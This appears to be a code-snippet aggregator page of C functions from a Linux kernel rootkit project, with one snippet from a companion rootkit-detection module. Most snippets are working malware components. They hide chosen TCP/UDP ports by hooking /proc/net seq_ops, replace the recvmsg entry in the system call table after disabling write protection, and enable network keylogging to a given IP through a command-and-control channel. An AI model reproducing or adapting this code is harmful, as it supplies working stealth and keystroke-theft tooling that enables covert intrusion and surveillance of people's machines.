Beispiel #1
0
/*
 * Function called when unloading the kernel module.
 * Prints a goodbye-message and restores the kernel to its
 * original form.
 */
void cleanup_module (void)
{	
	/* Finally, log the unloading */
	ROOTKIT_DEBUG("****************************************\n");	
	ROOTKIT_DEBUG("Unloading was successful. Bye!\n");
	ROOTKIT_DEBUG("****************************************\n");	
}
/*
 * access the port number for udp and if it should be
 * hidden then return 0, else return the original function
 */
static int manipulated_tcp_show(struct seq_file *m, void *v)
{
	/* lock and increase the call counter */
	INCREASE_CALL_COUNTER(tcp_show_call_counter, &tcp_show_lock,
			      tcp_show_lock_flags);

	int port;
	struct sock *sk;
	struct inet_sock *inet;
	int retv = 0;

	if (SEQ_START_TOKEN == v) {
		retv = original_tcp_show(m, v);
		goto out;
	}

	sk = (struct sock *)v;
	inet = inet_sk(sk);
	port = ntohs(inet->inet_sport);

	/* check protocol and port */
	if (is_tcp_socket_hidden(port)) {
		ROOTKIT_DEBUG("Hidden socket for TCP port %u", port);
		goto out;
	}

	retv = original_tcp_show(m, v);
 out:
	/* lock and decrease the call counter */
	DECREASE_CALL_COUNTER(tcp_show_call_counter, &tcp_show_lock,
			      tcp_show_lock_flags);
	return retv;
}
Beispiel #3
0
/*
 * Function called when loading the kernel module.
 * Prints a welcome-message and then does its magic.
 */
int init_module (void)
{
	int ret;

	ROOTKIT_DEBUG("****************************************\n");	
	ROOTKIT_DEBUG("Beginning rootkit detection procedure...\n");
	ROOTKIT_DEBUG("****************************************\n");
	
	/* open the log file */
	fd = filp_open(path, O_CREAT|O_WRONLY|O_APPEND|O_TRUNC, S_IRWXU);
	if(IS_ERR(fd)) {
		ROOTKIT_DEBUG("Error while trying to open the file '%s'! Terminating...\n", path);
		return -EIO;
	}
	
	/* check the sys call table */
	ret = check_syscalls();	
	if(ret < 0) {
		ROOTKIT_DEBUG("Error while checking the system call table!\n");
		return ret;
	}
	
	/* check the processes */
	ret = check_processes();	
	if(ret < 0) {
		ROOTKIT_DEBUG("Error while checking the running processes!\n");
		return ret;
	}
	
	ret = check_netfilter_hooks();
	if(ret < 0) {
		ROOTKIT_DEBUG("Error while checking netfiler hooks!\n");
		return ret;
	}
	
	ret = count_modules();
	if(ret < 0) {
		ROOTKIT_DEBUG("Error while checking the loaded modules!\n");
		return ret;
	}
	
	/* close the log file */
	filp_close(fd, NULL);
	
	/* log the completion */
	ROOTKIT_DEBUG("****************************************\n");	
	ROOTKIT_DEBUG("Check complete. You may now unload.\n");
	ROOTKIT_DEBUG("****************************************\n");
	return 0;
}
/* 
 * Function called from CC channel
 * Disable the flag to notify read TODO: Can put the struct to NULL? Does it matter?
 */
void disable_net_keylog(void)
{
	ROOTKIT_DEBUG("Disabling Network keylogging...\n");
	send_flag = 0;
}
/* 
 * Function called from CC channel
 * Set the flag to notify read and initialize netpoll struct
 */
void enable_net_keylog(char *ipv4_addr)
{
	ROOTKIT_DEBUG("Enabling Network keylogging for IP %s...\n", ipv4_addr);
	send_flag = 1; // set the flag to true
	init_netpoll(ipv4_addr);// initialize the netpoll struture
}
/*
 * unhooks all functions
 */
void unhook_sockets(void)
{
	int restored = 0;
	struct tcp_seq_afinfo *tcp_seq = 0;
	struct tcp_seq_afinfo *tcp6_seq = 0;
	struct udp_seq_afinfo *udp_seq = 0;
	struct udp_seq_afinfo *udp6_seq = 0;
	struct rb_root root = init_net.proc_net->subdir;
	struct rb_node *node = rb_first(&root);
	struct proc_dir_entry *proc;

	/* get the location of the sys_call_table from our sysmap.h file */
	void **sys_call_table = (void *)sysmap_sys_call_table;

	ROOTKIT_DEBUG("Unloading socket hiding...\n");

	/* loop all proc entries */
	while (node) {
		proc = rb_entry(node, struct proc_dir_entry, subdir_node);

		if (strcmp(proc->name, "tcp") == 0) {
			tcp_seq = proc->data;
			tcp_seq->seq_ops.show = original_tcp_show;
			restored++;
			ROOTKIT_DEBUG("Restored /proc/net/tcp");
		} else if (strcmp(proc->name, "tcp6") == 0) {
			tcp6_seq = proc->data;
			tcp6_seq->seq_ops.show = original_tcp6_show;
			restored++;
			ROOTKIT_DEBUG("Restored /proc/net/tcp6");
		} else if (strcmp(proc->name, "udp") == 0) {
			udp_seq = proc->data;
			udp_seq->seq_ops.show = original_udp_show;
			restored++;
			ROOTKIT_DEBUG("Restored /proc/net/udp");
		} else if (strcmp(proc->name, "udp6") == 0) {
			udp6_seq = proc->data;
			udp6_seq->seq_ops.show = original_udp6_show;
			restored++;
			ROOTKIT_DEBUG("Restored /proc/net/udp6");
		}

		/* lets skip the other entries if we are done */
		if (restored >= 4) {
			break;
		}

		/* go to the next entry */
		node = rb_next(node);
	}

	/* disable the write-protection */
	disable_page_protection();

	/* Return the system call back to original */
	sys_call_table[__NR_recvmsg] = (ssize_t *) original_recvmsg;

	/* reenable the write-protection */
	enable_page_protection();

	/* wait for all processes to exit our functions */
	while (recvmsg_call_counter > 0 || tcp_show_call_counter > 0
	       || udp_show_call_counter > 0 || tcp6_show_call_counter > 0
	       || udp6_show_call_counter > 0)
		msleep(2);

	/* log and return */
	ROOTKIT_DEBUG("Done.\n");
}
/*
 * hooks all functions needed to hide sockets
 */
int hook_sockets(void)
{
	/* get the location of the sys_call_table from our sysmap.h file */
	void **sys_call_table = (void *)sysmap_sys_call_table;

	int hooked = 0;
	struct tcp_seq_afinfo *tcp_seq = 0;
	struct tcp_seq_afinfo *tcp6_seq = 0;
	struct udp_seq_afinfo *udp_seq = 0;
	struct udp_seq_afinfo *udp6_seq = 0;
	struct rb_root root = init_net.proc_net->subdir;
	struct rb_node *node = rb_first(&root);
	struct proc_dir_entry *proc;

	ROOTKIT_DEBUG("Loading socket hiding...\n");

	/* loop all proc entries */
	while (node) {
		proc = rb_entry(node, struct proc_dir_entry, subdir_node);

		if (strcmp(proc->name, "tcp") == 0) {
			tcp_seq = proc->data;
			original_tcp_show = tcp_seq->seq_ops.show;
			tcp_seq->seq_ops.show = manipulated_tcp_show;
			hooked++;
			ROOTKIT_DEBUG("Hooked /proc/net/tcp");
		} else if (strcmp(proc->name, "tcp6") == 0) {
			tcp6_seq = proc->data;
			original_tcp6_show = tcp6_seq->seq_ops.show;
			tcp6_seq->seq_ops.show = manipulated_tcp6_show;
			hooked++;
			ROOTKIT_DEBUG("Hooked /proc/net/tcp6");
		} else if (strcmp(proc->name, "udp") == 0) {
			udp_seq = proc->data;
			original_udp_show = udp_seq->seq_ops.show;
			udp_seq->seq_ops.show = manipulated_udp_show;
			hooked++;
			ROOTKIT_DEBUG("Hooked /proc/net/udp");
		} else if (strcmp(proc->name, "udp6") == 0) {
			udp6_seq = proc->data;
			original_udp6_show = udp6_seq->seq_ops.show;
			udp6_seq->seq_ops.show = manipulated_udp6_show;
			hooked++;
			ROOTKIT_DEBUG("Hooked /proc/net/udp6");
		}

		if (hooked >= 4) {
			break;
		}

		/* go to the next entry */
		node = rb_next(node);
	}

	/* disable the write-protection */
	disable_page_protection();

	/*
	 * keep pointer to original function in original_recvmsg, and
	 * replace the system call in the system call table with
	 * manipulated_recvmsg
	 */
	original_recvmsg = (void *)sys_call_table[__NR_recvmsg];
	sys_call_table[__NR_recvmsg] = (ssize_t *) manipulated_recvmsg;

	/* reenable the write-protection */
	enable_page_protection();

	/* log and return */
	ROOTKIT_DEBUG("Done.\n");
	return 0;
}